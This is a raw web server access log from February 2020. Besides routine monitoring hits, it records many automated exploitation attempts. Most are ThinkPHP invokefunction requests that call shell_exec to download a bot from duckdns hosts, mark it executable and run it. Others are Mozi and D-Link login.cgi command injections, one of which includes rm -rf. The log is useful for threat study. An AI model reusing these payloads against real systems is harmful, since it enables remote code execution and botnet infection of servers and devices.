180.96.14.25 - - [02/Feb/2020:17:31:05 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:06 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:07 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [02/Feb/2020:17:31:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:17:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.133.58 - - [02/Feb/2020:17:32:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.97.36.69 - - [02/Feb/2020:17:33:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.243.28.4 - - [02/Feb/2020:17:35:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [02/Feb/2020:17:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.39.130.1 - - [02/Feb/2020:17:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.42.19 - - [02/Feb/2020:17:38:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.200.71.17 - - [02/Feb/2020:17:39:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
87.110.76.87 - - [02/Feb/2020:17:40:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.57.26 - - [02/Feb/2020:17:40:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.129.163 - - [02/Feb/2020:17:43:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.207.63.197 - - [02/Feb/2020:17:44:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.76.141.193 - - [02/Feb/2020:17:45:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.134 - - [02/Feb/2020:17:46:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.145.168.124 - - [02/Feb/2020:17:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [02/Feb/2020:17:50:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.132.185.226 - - [02/Feb/2020:17:50:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.179.113.128 - - [02/Feb/2020:17:52:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:17:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.227.24 - - [02/Feb/2020:17:54:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:17:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [02/Feb/2020:17:57:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.112.121.80 - - [02/Feb/2020:17:58:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.93.13.152 - - [02/Feb/2020:17:58:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:17:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.209.36.118 - - [02/Feb/2020:17:59:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.93.244.236 - - [02/Feb/2020:18:00:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.50.35 - - [02/Feb/2020:18:02:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [02/Feb/2020:18:04:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
206.189.143.2 - - [02/Feb/2020:18:05:10 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 400 329 "-" "Hello, World"
212.91.246.72 - - [02/Feb/2020:18:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.169.94.114 - - [02/Feb/2020:18:07:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.234.220.250 - - [02/Feb/2020:18:07:17 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://42.234.220.250:57471/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [02/Feb/2020:18:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.188.190.62 - - [02/Feb/2020:18:08:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [02/Feb/2020:18:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.77.100 - - [02/Feb/2020:18:10:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.253.248 - - [02/Feb/2020:18:12:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.223.35 - - [02/Feb/2020:18:15:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.23.226.101 - - [02/Feb/2020:18:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.47.81 - - [02/Feb/2020:18:18:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.113.82 - - [02/Feb/2020:18:19:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.15.255.106 - - [02/Feb/2020:18:21:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.89.213 - - [02/Feb/2020:18:22:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.176.221.235 - - [02/Feb/2020:18:22:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [02/Feb/2020:18:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.109.209.236 - - [02/Feb/2020:18:23:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.23.141.60 - - [02/Feb/2020:18:24:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [02/Feb/2020:18:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.54 - - [02/Feb/2020:18:24:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.175.54 - - [02/Feb/2020:18:26:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.137.150 - - [02/Feb/2020:18:26:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.221.218 - - [02/Feb/2020:18:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.119.62.226 - - [02/Feb/2020:18:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:18:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.177.182.226 - - [02/Feb/2020:18:29:25 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
201.86.69.118 - - [02/Feb/2020:18:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [02/Feb/2020:18:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.255.45.134 - - [02/Feb/2020:18:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [02/Feb/2020:18:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.76.245.232 - - [02/Feb/2020:18:33:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.76.245.232 - - [02/Feb/2020:18:33:35 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.76.245.232 - - [02/Feb/2020:18:33:37 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.76.245.232 - - [02/Feb/2020:18:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [02/Feb/2020:18:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [02/Feb/2020:18:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.181.153 - - [02/Feb/2020:18:35:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [02/Feb/2020:18:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
